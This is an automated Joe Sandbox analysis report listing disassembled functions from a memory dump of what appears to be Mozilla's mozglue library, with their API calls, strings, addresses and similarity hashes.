Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: fefc0527aae21b311a7c8a759082908b9a44daf90588435dde666bb87ec2d1f3
Instruction ID: fc3705099af4f7376436cebee5726bcffdc3f22b566ecbe17cf8b317d39f256b
Opcode Fuzzy Hash: fefc0527aae21b311a7c8a759082908b9a44daf90588435dde666bb87ec2d1f3
Instruction Fuzzy Hash: 17517C357046048FCB15DF59D498A2EB7F5FF89318B5A865DEA8A87351C731F881CB80

Function 6CB11D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB11D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB11BE3,?,?,6CB11D96,00000000), ref: 6CB11D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB11BE3,?,?,6CB11D96,00000000), ref: 6CB11D4C
GetCurrentThreadId.KERNEL32 ref: 6CB11DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB11DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB11DDA

Part of subcall function 6CB11EF0: GetCurrentThreadId.KERNEL32 ref: 6CB11F03
Part of subcall function 6CB11EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB11DF2,00000000,00000000), ref: 6CB11F0C
Part of subcall function 6CB11EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB11F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB11DF4

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: ab97579e78860a6903fdd3872d94c2aac08df9cecbd93995d2331d2666c777e5
Instruction ID: d0a56c97e069a5ab72fb9f8625fa82f510588c3402934a3b28ab4da22fc8da1b
Opcode Fuzzy Hash: ab97579e78860a6903fdd3872d94c2aac08df9cecbd93995d2331d2666c777e5
Instruction Fuzzy Hash: 5541ABB52047049FCB10DF29C488A5ABBF9FF89318F14842DE95A87B41CB31F854CB91

Function 6CAD38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB4E220,?,?,?,?,6CAD3899,?), ref: 6CAD38B2
ReleaseSRWLockExclusive.KERNEL32(6CB4E220,?,?,?,6CAD3899,?), ref: 6CAD38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CAD3899,?), ref: 6CAD38F1
RtlFreeHeap.NTDLL ref: 6CAD3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAD3899,?), ref: 6CAD392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAD3899,?), ref: 6CAD3943
RtlFreeHeap.NTDLL ref: 6CAD396E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: da9c06f1f09084f3e0e82c53ee89c1caecd8a479a079b9069cae5521a2eab778
Instruction ID: 5e67d3c32cc4fe8ce29c1501504e7feac280854943a0cdbd762d040e8ea9171b
Opcode Fuzzy Hash: da9c06f1f09084f3e0e82c53ee89c1caecd8a479a079b9069cae5521a2eab778
Instruction Fuzzy Hash: D821F176601A60DFD720DF65C884B8AB7B9FF45328F1A8469D99A97B10C730F885CB90

Function 6CB084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB085AC

Part of subcall function 6CB07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0767F
Part of subcall function 6CB07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB07693
Part of subcall function 6CB07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB085B2

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 26b407b62bf844f6bd3ec9b3c93ead0a217ab6456faf9140b752e75c79468847
Instruction ID: a14f9ba75960789e02cd804b190d252b759bb9a36cd6a52e3d6c99475375f521
Opcode Fuzzy Hash: 26b407b62bf844f6bd3ec9b3c93ead0a217ab6456faf9140b752e75c79468847
Instruction Fuzzy Hash: 1E216D743006419FDB14DB24D888A5ABBB9FF4530DF14482DE55B87B41EB32EA48CB52

Function 6CAD1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAD1699
VerSetConditionMask.NTDLL ref: 6CAD16CB
VerSetConditionMask.NTDLL ref: 6CAD16D7
VerSetConditionMask.NTDLL ref: 6CAD16DE
VerSetConditionMask.NTDLL ref: 6CAD16E5
VerSetConditionMask.NTDLL ref: 6CAD16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAD16F9

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: ac48e10f4d4a9d227a5697007c52bbe847a0cdf42c1fda0c7ea10e4d0cabe6be
Instruction ID: a99437fe28999b21e82510abd29674c48424ad848b9f2e1167cfff5fed71de45
Opcode Fuzzy Hash: ac48e10f4d4a9d227a5697007c52bbe847a0cdf42c1fda0c7ea10e4d0cabe6be
Instruction Fuzzy Hash: B021D5B07442486FEB106B649C45FFFB37CEF86714F018528F6059B5C1C674AD54C6A1

Function 6CB0F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB0F598), ref: 6CB0F621

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0F637
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F645
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB0F62A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: b9b20ce94dd087c61eeb9b10751cd07249202197636421f806b07806e8cff50f
Instruction ID: af532fca61ac2802bf428fca73b3a2f6d8c4648770ba16e94f31a3a740703b75
Opcode Fuzzy Hash: b9b20ce94dd087c61eeb9b10751cd07249202197636421f806b07806e8cff50f
Instruction Fuzzy Hash: 9E11E075309644ABDA04BF29D848DEABB79FB8636CF504415EA0683F05CB31AC25CBA5

Function 6CAD1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAD1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAD1FFD
__Init_thread_footer.LIBCMT ref: 6CAD2011
FreeLibrary.KERNEL32 ref: 6CAD2059

Strings

combase.dll, xrefs: 6CAD1FD9
CoCreateInstance, xrefs: 6CAD1FF7

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a6f2379303bb7efd6617fb1c9c1adc19639b38a5637c094ff39e581d2441cef9
Instruction ID: ce635b1330fa38f454a1c43050c8772e5535be32afabad382a0753b2cf4054a3
Opcode Fuzzy Hash: a6f2379303bb7efd6617fb1c9c1adc19639b38a5637c094ff39e581d2441cef9
Instruction Fuzzy Hash: F8117F79A08254AFDF10EF15C849E9A3B79FB8636DF04C129F91583644C731AC51DF60

Function 6CAD0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CAFD9F0,00000000), ref: 6CAD0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAD0F3C
__Init_thread_footer.LIBCMT ref: 6CAD0F50
FreeLibrary.KERNEL32(?,6CAFD9F0,00000000), ref: 6CAD0F86

Strings

combase.dll, xrefs: 6CAD0F18
CoInitializeEx, xrefs: 6CAD0F36

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: cacbb82876dc4cdefb587c31b751eb3d0b7f0bcd8f3ca4aff3a28475e2642fde
Instruction ID: dcc850e254dd57ccb3c5ee11fde19ab3d87067f6a1c92b9aa5bab616b690958d
Opcode Fuzzy Hash: cacbb82876dc4cdefb587c31b751eb3d0b7f0bcd8f3ca4aff3a28475e2642fde
Instruction Fuzzy Hash: 8711A07520D2809BDF00EF58CA08E8A3775FB8A32AF16C629E90583644D730EC45CE53

Function 6CB0F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F561

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0F577
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F585
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CB0F3A8
[I %d/%d] profiler_resume, xrefs: 6CB0F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB0F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CB0F499

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f6ca2f5e55ba7779c68a9d448805c470d29251e027e030829d87a321ad91d7cc
Instruction ID: ab59a020738e5f5c7f14fda44ae818ecf10b9fb175ccc1863d9cc2385e6df24c
Opcode Fuzzy Hash: f6ca2f5e55ba7779c68a9d448805c470d29251e027e030829d87a321ad91d7cc
Instruction Fuzzy Hash: 6DF0B475708640ABEE007B659848E6E7B7CFB862ADF008411EB0583709DF314C018765

Function 6CB0F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB0F598), ref: 6CB0F621

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0F637
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F645
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB0F62A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 3b67b1594eccb66e4f98e5d9506c6e26ce6c3f8c3779ac753a0a209bcf1de598
Instruction ID: d8ce3de07abc2b56452d27a3d693e92c5a02a6c02c7f8282d5b4f94ac134449f
Opcode Fuzzy Hash: 3b67b1594eccb66e4f98e5d9506c6e26ce6c3f8c3779ac753a0a209bcf1de598
Instruction Fuzzy Hash: 8BF0BEB5308640ABEE007B659848EAE7B7CFBC62ADF008421EB0583709CB354801C765

Function 6CAD0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAD0DF8), ref: 6CAD0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAD0EA1
__Init_thread_footer.LIBCMT ref: 6CAD0EB5
FreeLibrary.KERNEL32 ref: 6CAD0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CAD0E9B
kernel32.dll, xrefs: 6CAD0E7D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0c7b8e815d01c385d4cdab865ff1cdccb1ec4dff79430e2631f42cf97d3f31ae
Instruction ID: 4ef7300dc1e22386fabdc558b2ef05296a68a07a92de1bb9614ed01290170008
Opcode Fuzzy Hash: 0c7b8e815d01c385d4cdab865ff1cdccb1ec4dff79430e2631f42cf97d3f31ae
Instruction Fuzzy Hash: 18014F747483C28BDF00AFD8C918A4A73B6F75631DF15A915D92583F48DB38B8858A11

Function 6CB005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CAFCFAE,?,?,?,6CAC31A7), ref: 6CB005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CAFCFAE,?,?,?,6CAC31A7), ref: 6CB00616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAC31A7), ref: 6CB0061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAC31A7), ref: 6CB00627

Strings

<jemalloc>, xrefs: 6CB005FA, 6CB0060F
: (malloc) Error in VirtualFree(), xrefs: 6CB0061B, 6CB00625

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: aa3aa712814d34b21a770d935510eb704baaa6bf559e4415c86f372ece65a359
Instruction ID: 4364431889dd17b00db077b10c85c24a9f84ae4a80a0c5c9bcf377f6147b09ac
Opcode Fuzzy Hash: aa3aa712814d34b21a770d935510eb704baaa6bf559e4415c86f372ece65a359
Instruction Fuzzy Hash: FCE08CE2A0206037F6142296AC86DBB761CDBC6138F080139FE0D87301E95AAD1A51F6

Function 6CAD05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1558baa42a6cb7ac9722442fc21053a9b39360ed006be326090281c40dd62745
Instruction ID: 6dcc9ba92d63a158a886ac282943ef142d44e14e9f9c1ebd905d68289101786b
Opcode Fuzzy Hash: 1558baa42a6cb7ac9722442fc21053a9b39360ed006be326090281c40dd62745
Instruction Fuzzy Hash: CCA14974A04645CFDB14CF29C594A9AFBF1BF48304F45866ED45A9BB00E770B989CF90

Function 6CB214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB214E2
GetCurrentThreadId.KERNEL32 ref: 6CB21546
InitializeConditionVariable.KERNEL32(?), ref: 6CB215BA
free.MOZGLUE(?), ref: 6CB216B4

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
